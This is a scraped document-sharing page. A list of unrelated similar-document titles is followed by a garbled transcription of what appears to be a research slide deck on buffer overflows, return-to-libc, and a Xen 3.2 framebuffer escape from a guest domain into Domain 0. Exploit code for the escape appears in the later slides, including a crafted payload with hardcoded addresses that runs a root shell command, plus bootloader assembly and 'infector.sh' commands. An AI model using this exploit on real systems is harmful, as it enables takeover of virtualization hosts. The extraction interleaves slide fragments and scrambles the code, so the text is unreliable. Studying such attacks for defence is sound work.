1

Similar documents

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

2006年国家公务员招录考试行测真题(A)

坐 公 車 好 處 多 得 獎 者 : 李 宥 萱 指 導 老 師 : 陳 淑 鈴 我 家 住 在 鄉 下, 離 市 區 有 段 距 離 每 個 禮 拜 三 和 禮 拜 六 我 都 要 到 市 區 補 習, 以 前 都 是 媽 媽 特 地 從 大 老 遠 的 地 方 開 車 回 來 載 我 這 實

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.06.doc

C 1

Microsoft Word - 21??¡N??`?C?~??-1.doc, page Normalize ( Microsoft Word - 21ºÝ¤È¸`§C¦~¯Å-1.doc )

untitled

D/A DAC ( 1us) (10~20 ) DAC0832 1

<4D F736F F D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63>

untitled

untitled

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.07.doc

. v dx v d () () l s dl s d (_) d () v s v s () a dv a d (_) ( ) ( ) x- = v- = = v 0 = m/s a = = m/s 2 a- = ( ) x- v- a- Page 2 of 20

Microsoft PowerPoint - os_4.ppt

God's Masterpiece- the Cross

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

<4D F736F F D C4EAC6D5CDA8B8DFB5C8D1A7D0A3D5D0C9FAC8ABB9FACDB3D2BBBFBCCAD4CEC4BFC6D7DBBACDCAD4BEEDBCB0B4F0B0B82DD6D8C7ECBEED2E646F63>

C/C++ - 文件IO

<4D F736F F D C4EAB9FABCD2B9ABCEF1D4B1D0D0D5FEC4DCC1A6B2E2D1E9A3A841C0E0A3A92E646F63>

,,,,,,,,,,,,, :,, ;,,,,, ( ),,,, : ( ) ; ( ) ; ( ) ( ) ; ( ) ( A ) ; ( ) ( ),,,,,,, 80

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

1 Project New Project 1 2 Windows 1 3 N C test Windows uv2 KEIL uvision2 1 2 New Project Ateml AT89C AT89C51 3 KEIL Demo C C File

幻灯片 1

威 福 髮 藝 店 桃 園 市 蘆 竹 區 中 山 里 福 祿 一 街 48 號 地 下 一 樓 50,000 獨 資 李 依 純 105/04/06 府 經 登 字 第 號 宏 品 餐 飲 桃 園 市 桃 園 區 信 光 里 民

untitled

Microsoft Word - administrative-law-08.doc

untitled

(Microsoft Word - \246D\252k\267\247\255n_\275\306\277\357_.docx)


untitled

学习MSP430单片机推荐参考书

并行计算

static struct file_operations gpio_ctl_fops={ ioctl: gpio_ctl_ioctl, open : gpio_open, release: gpio_release, ; #defineled1_on() (GPBDAT &= ~0x1) #def










1

新版 明解C++入門編

ROP_bamboofox.key

C6_ppt.PDF

Are You suprised ?

第3章.doc

新・解きながら学ぶC言語

Chapter12 Derived Classes

國立臺東高級中學102學年度第一學期第二次期中考高一國文科試題

!! :!!??!!?!??!!!... :... :'?'?! :' ' :'?' :'?' :'!' : :? Page 2

Microsoft Word - Sunday

鎶ョ焊0

秘密大乘佛法(下)

Page 2 of 12

<D2B0D0C4D3C5D1C52DC8CED6BEC7BF202D20BCC7CAC2B1BE>

华恒家庭网关方案

CC213

Microsoft Word - 2B802內文.doc

東區校園中法治教育種子師資教學研習營

閱 讀 素 材 V.S 分 組 方 式 的 差 異 化 教 學 工 具 表 班 級 :( ) 閱 讀 素 材 V.S 分 組 方 式 獨 立 閱 讀 夥 伴 閱 讀 ( 同 質 性 ) 夥 伴 閱 讀 ( 異 質 性 ) 友 善 陪 伴 虛 心 受 教 國 語 日 報 新 聞 生 活 文 藝 兒 童

Microsoft Word - 1HF12序.doc

Microsoft Word - 讀報看科普─人體篇_橫_.doc

鍟嗗搧瑙傚療鈥㈤挗鏉

席 远 杨 一 人 了, 正 当 她 开 枪 时 却 发 现 子 弹 没 了 该 死, 只 能 赤 手 空 拳 了 洛 水 云 与 席 远 杨 交 起 手 来, 洛 水 云 出 手 招 招 致 命 想 那 席 远 杨 也 不 是 泛 泛 之 辈, 很 快 掌 握 了 洛 水 云 出 招 路 数 看

C++ 程式設計


第7章-并行计算.ppt

ebook15-C

新版 明解C言語入門編

新・明解C言語入門編『索引』

微處理機期末專題

_汪_文前新ok[3.1].doc

51 C 51 isp 10 C PCB C C C C KEIL

C

untitled

lect03.ppt

BOOL EnumWindows(WNDENUMPROC lparam); lpenumfunc, LPARAM (Native Interface) PowerBuilder PowerBuilder PBNI 2

Linux kernel exploit研究和探索

(2) Function 0BH: Function 0CH: (pixel, picture element) Function 0DH: Function 0FH: Function 13H:

ESP-Jumpstart

プログラムの設計と実現II

Application Note Format

科展報告

bingdian001.com

全国计算机技术与软件专业技术资格(水平)考试

, 7, Windows,,,, : ,,,, ;,, ( CIP) /,,. : ;, ( 21 ) ISBN : -. TP CIP ( 2005) 1

mvc

FY.DOC

欧洲标准胀紧套

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

untitled

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

试卷

Linux 操作系统分析 Chapter 9-2 Linux 中程序的执行 陈香兰 苏州研究院中国科学技术大学 Fall 2014 November 4,

Microsoft Word - 实用案例.doc

像 客 样 使 命令行 徐 东

Transcription:

1

2

3

4

5

GNUDebugger 6

7

void main(int argc, char **argv){ vulncpy(argv[1]); return; } void vulncpy(char *a){ char buf[30]; strcpy(buf, a); return; } *argv[1] buf Shellcode *argv[1]... &buf &buf 8

strcpy 9

10

11 Xen Hypervisor 3.1.2 ds->data wh Domain U Domain 0 Xen Hypervisor ds->data = realloc(ds->data, w * h * vs->depth);

12 Domain 0 memcpy(void *dest, void *src, size_t n) VNC Domain 0 stack memcpy xenfb->ds->data memcpy xenfb->pixels Shared mem Domain U Shared mem memcpy(xenfb->ds->data +(line*xenfb->ds->linesize) +(x*xenfb->ds->depth/8), xenfb->pixels +(line*xenfb->row_stride) +(x*xenfb->depth/8), w*xenfb->depth/8 );

static void xenfb_guest_copy(struct xenfb *xenfb, int x, int y, int w, int h){... for (line = y; line < (y+h); line++){ memcpy(...); static void xenfb_on_fb_event(struct xenfb *xenfb){... x = MAX(event->update.x, 0); y = MAX(event->update.y, 0); w = MIN(event->update.width, xenfb->width - x); h = MIN(event->update.height, xenfb->height - y); if (w < 0 h < 0) {... if (x!= event->update.x y!= event->update.y w!= event->update.width h!= event->update.height) 13

&buf buf Shellcode &buf...... 14

Caller ESP... 15

int execl(const char *path, const char *arg,...) 1 main(){ 2 char *path = "/bin/bash"; 3 char *arg0 = "bash"; 4 char *arg1 = "-c"; 5 char *arg2 = "ls"; 6 execl(path, arg0, arg1, arg2, NULL); 7 8 return; 9 } <main+0> <main+8> Code... <execl+0> Code... ESP path /bin/bash arg0 bash arg1 -c arg2 ls <execl+0> <main+6> 16

&buf ESP dummy data <execl +0> /bin/ bash -c ls <exit+0> path arg0 arg1 arg2 17

18 1183744 bytes xenfb_refresh static int devinit xenfb_probe(struct xenbus_device *dev,...){... ret = register_framebuffer(fb_info);... info->page->width = 9600000; info->page->height = 2769471; info->update_wanted = 1; xenfb_refresh(info, 0, 0, 1, 1);... xenfb_do_update(info, 336261, 1011, 32, 1); ds->data = realloc(ds->data, w * h * vs->depth); for (line = y; line < (y+h); line++){ memcpy(...);

notify_remote_via_irq(info->irq); static void xenfb_do_update(...){... char *ptr = info->fb; char exploit[125] = "\x10\x18\xe8\xb7" "\x90\x90\x90\x90" "\x38\xb6\xff\xbf" "\x42\xb6\xff\xbf" "\x47\xb6\xff\xbf" <execl+0> <dummy> <path> <arg0> <arg1> int i = "\x4a\xb6\xff\xbf" 0; int payload_shift "\x00\x00\x00\x00" = 45; "/bin/bash\0" if(h!= "bash\0" 1) return; "-c\0" ptr += "Root payload_shift; Shell Command"; while(i++ < xenfb_mem_len*15) *ptr++ = exploit[i%(125)]; <arg2> NULL 19

Dom. U (Debian 6) 2.6.26-1-xen-686 Dom. 0 (Debian 5) 2.6.26-1-xen-686 Kernel qemu-dm 3. realloc() 6. memcpy() Xen Hypervisor 3.2.0 Intel Core Duo T2400 20

21

22

23

times 510-($-$$) db 0 Boot_Signature dw 0AA55h org 7C00h pushad mov [cs:boot_stack_pointer],esp cli cld... mov gs,bx test dl,80h jz Drive_Error test dh,00100000b jnz Drive_Error mov [Boot_Drive],dx mov ax, 023eh mov cx, 0002h jmp mov 0000h:System_Loader dx, [Boot_Drive] mov bx, 0000h mov es, bx mov bx, System_Loader int 13h 24

windows hvm config builder='hvm' vnclisten="140.115.80.83" vncpasswd='9527' vncunused=1 windows hvm tightvnc hvm binary make debug xm dmesg infector.sh <target_image> doctor.sh <target_image> 25